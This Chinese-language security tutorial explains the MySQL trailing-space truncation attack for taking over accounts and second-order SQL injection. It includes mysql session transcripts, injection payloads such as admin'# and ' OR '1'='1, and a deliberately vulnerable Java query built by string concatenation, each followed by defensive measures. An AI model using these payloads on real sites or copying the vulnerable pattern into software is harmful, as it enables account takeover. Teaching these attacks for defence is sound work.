SQL
mysql> CREATE TABLE users (
    ->   username varchar(25),
    ->   password varchar(25)
    -> );
Query OK, 0 rows affected (0.09 sec)
mysql> INSERT INTO users
    -> VALUES('vampire', 'my_password');
Query OK, 1 row affected (0.11 sec)
mysql> SELECT * FROM users;
+----------+-------------+
| username | password    |
+----------+-------------+
| vampire  | my_password |
+----------+-------------+
1 row in set (0.00 sec)

为了展示尾部空白字符的修剪情况,我们可以键入下列命令:

SQL
mysql> SELECT * FROM users
    -> WHERE username='vampire       ';
+----------+-------------+
| username | password    |
+----------+-------------+
| vampire  | my_password |
+----------+-------------+
1 row in set (0.00 sec)

现在我们假设一个存在漏洞的网站使用了前面提到的PHP代码来处理用户的注册及登录过程。为了侵入任意用户的帐户(在本例中为“vampire”),只需要使用用户名“vampire[许多空白符]1”和一个随机密码进行注册即可。对于选择的用户名,前25个字符应该只包含vampire和空白字符,这样做将有助于绕过检查特定用户名是否已存在的查询。

SQL
mysql> SELECT * FROM users
    -> WHERE username='vampire                   1';
Empty set (0.00 sec)

需要注意的是,在执行SELECT查询语句时,SQL是不会将字符串缩短为25个字符的。因此,这里将使用完整的字符串进行搜索,所以不会找到匹配的结果。接下来,当执行INSERT查询语句时,它只会插入前25个字符。

SQL
mysql>   INSERT INTO users(username, password)
    -> VALUES ('vampire                   1', 'random_pass');
Query OK, 1 row affected, 1 warning (0.05 sec)
mysql> SELECT * FROM users
    -> WHERE username='vampire';
+---------------------------+-------------+
| username                  | password    |
+---------------------------+-------------+
| vampire                   | my_password |
| vampire                   | random_pass |
+---------------------------+-------------+
2 rows in set (0.00 sec)

很好,现在我们检索“vampire”的,将返回两个独立用户。注意,第二个用户名实际上是“vampire”加上尾部的18个空格。现在,如果使用用户名“vampire”和密码“random_pass”登录的话,则所有搜索该用户名的SELECT查询都将返回第一个数据记录,也就是原始的数据记录。这样的话,攻击者就能够以原始用户身份登录。这个攻击已经在MySQL和SQLite上成功通过测试。我相信在其他情况下依旧适用。

防御手段

毫无疑问,在进行软件开发时,需要对此类安全漏洞引起注意。我们可采取以下几项措施进行防御:

  1. 将要求或者预期具有唯一性的那些列加上UNIQUE约束。实际上这是一个涉及软件开发的重要规则,即使你的代码有维持其完整性的功能,也应该恰当的定义数据。由于’username’列具有UNIQUE约束,所以不能插入另一条记录。将会检测到两个相同的字符串,并且INSERT查询将失败。
  2. 最好使用’id’作为数据库表的主键。并且数据应该通过程序中的id进行跟踪
  3. 为了更加安全,还可以用手动调整输入参数的限制长度(依照数据库设置)

二次注入

二次注入(Second-Order SQL Injection) 是 SQL 注入的一种高级且隐蔽的变体。与直接将恶意代码拼接到 SQL 语句中执行的“一次注入”不同,二次注入的恶意数据在第一次提交时是**安全入库**的,但在后续业务逻辑中**被读取并再次使用时**,由于缺乏安全处理,最终导致了 SQL 注入。

以下是对二次注入漏洞的详细解析及其最常见的业务场景。


二次注入的原理与攻击流程

二次注入的核心在于开发者的一个**思维误区**:认为“已经存入数据库的数据是安全的”,从而在后续读取这些数据构建 SQL 语句时,放松了警惕(使用了字符串拼接而非参数化查询)。

攻击步骤拆解(以经典的“修改密码”为例):

  1. 第一步:恶意数据入库(安全) 攻击者在注册时,将用户名设置为 admin'#。 后端在注册接口使用了**参数化查询(预编译)**,因此 admin'# 被安全地存入数据库,此时没有发生注入。数据库 users 表中存在一条记录:username = admin'#。

  2. 第二步:触发二次读取与拼接(危险) 攻击者登录系统后,进入“修改密码”页面。后端在处理修改密码逻辑时,需要确认当前修改的是哪个用户的密码。 假设后端从数据库或 Session 中获取了当前用户的用户名(即 admin'#),并**错误地使用了字符串拼接**来构建更新 SQL:

    Java
    // 危险代码示例
    String db_username = get_username_from_db_or_session(); // 获取到 "admin'#"
    String sql = "UPDATE users SET password='new_password' WHERE username='" + db_username + "'";
    

  3. 第三步:注入执行 将 db_username 代入上述代码,最终生成的 SQL 语句变成了:

    SQL
    UPDATE users SET password='new_password' WHERE username='admin'#'
    
    在 MySQL 中,# 是注释符。这导致后面的单引号 ' 被注释掉,SQL 语句的实际执行效果变成了:
    SQL
    UPDATE users SET password='new_password' WHERE username='admin'
    
    结果:攻击者成功将 admin 管理员账号的密码修改为了自己的新密码,完成了账户劫持。


二次注入最常见的业务场景

二次注入通常发生在包含 “读取历史数据 -> 修改/更新 -> 写入数据库” 这种业务逻辑的场景中。以下是最高发的几个场景:

用户注册与密码修改/找回(最经典)

  • 场景描述:如上例所述,注册时存入恶意用户名,在修改密码、找回密码、或者修改绑定手机/邮箱时,系统读取该用户名进行 SQL 拼接。
  • 特点:攻击者可以利用自己的账号,去篡改管理员(admin)或其他高权限用户的密码。

个人资料/信息编辑

  • 场景描述:用户在个人中心修改昵称、头像、个人简介等。后端在更新前,可能会从数据库读取用户的“旧资料”进行比对,或者将旧资料与新资料一起拼接到复杂的 UPDATE 语句中。
  • 例子:修改昵称时,SQL 为 UPDATE users SET nickname='新昵称', bio='[从数据库读出的旧简介]' WHERE id=1。如果旧简介中包含恶意 payload,就会触发注入。

电商/后台管理系统的“编辑”功能

  • 场景描述:商家或管理员在后台编辑商品信息、文章或订单。系统在加载编辑页面时,会从数据库读取原有的商品名称、分类、标签等,并在提交更新时,将这些“原数据”拼接到 UPDATE 语句中。
  • 例子:攻击者先通过“新增商品”接口(使用参数化查询)存入一个名为 iPhone 15' OR '1'='1 的商品。然后在“编辑商品”修改价格时,后端读取原商品名拼接 SQL,导致注入。

第三方数据同步与导入

  • 场景描述:系统从外部 API、Excel 文件或第三方平台导入数据并存入本地数据库。后续业务逻辑(如报表统计、数据清洗)读取这些导入的数据并构建 SQL。
  • 特点:开发者往往认为“系统内部流转的数据”是可信的,忽略了外部导入的数据本身可能携带恶意 payload。

消息/评论/工单的“引用”或“编辑”

  • 场景描述:在论坛或工单系统中,用户回复或引用他人的评论。系统从数据库读取被引用的原始评论内容,拼接到插入新记录的 SQL 语句中(例如记录操作日志或生成引用文本)。

为什么二次注入难以被发现?

  1. WAF(Web 应用防火墙)难以拦截:在第一次提交数据时,由于使用了参数化查询或数据看起来像正常的字符串,WAF 不会报警。恶意 payload 是在第二次请求(如修改密码)时通过数据库“洗白”后触发的,WAF 很难将第二次请求与第一次请求关联起来。
  2. 代码审计的盲区:安全人员在审计代码时,通常会重点检查 $_GET、$_POST 等直接来自用户的输入点。而二次注入的触发点,其变量往往来自于数据库查询结果(如 $row['username']),容易被误认为是“安全数据”而跳过检查。
  3. 自动化扫描器失效:常见的 SQL 注入扫描器(如 SQLMap)主要测试直接输入点,很难自动模拟“先注册存入 payload,再触发修改功能”的复杂多步交互。

如何防御二次注入?

防御二次注入的核心原则只有一条:永远不要信任任何数据,无论它来自用户输入还是数据库。

  1. 全面使用参数化查询(预编译) 这是最根本的防御手段。确保系统中**所有**的 SQL 语句(无论是 INSERT、SELECT 还是 UPDATE)都使用参数化查询(如 Java 的 PreparedStatement,Python 的 ? 占位符,PHP 的 PDO)。 只要使用了参数化查询,无论数据是从用户输入来的,还是从数据库读出来的,数据库驱动都会将其严格视为“数据”而非“可执行代码”。

  2. 使用成熟的 ORM 框架 使用 MyBatis、Hibernate、Entity Framework 等 ORM 框架,并严格使用其提供的参数绑定功能(如 MyBatis 中的 #{} 而不是 ${}),可以从架构层面杜绝拼接 SQL 的可能。

  3. 避免从数据库读取数据后直接拼接 在业务逻辑中,尽量通过主键(如 user_id)来定位和更新数据,而不是通过用户名、邮箱等可能被用户自定义的字段去拼接 SQL。 例如:使用 UPDATE users SET password=? WHERE user_id=? 代替 UPDATE users SET password=? WHERE username=?。

  4. 严格的输入验证 虽然参数化查询能防御 SQL 注入,但对用户输入(如用户名、昵称)进行格式校验(如只允许字母和数字,限制长度)仍然是良好的安全实践,可以防止存储型 XSS 等其他漏洞。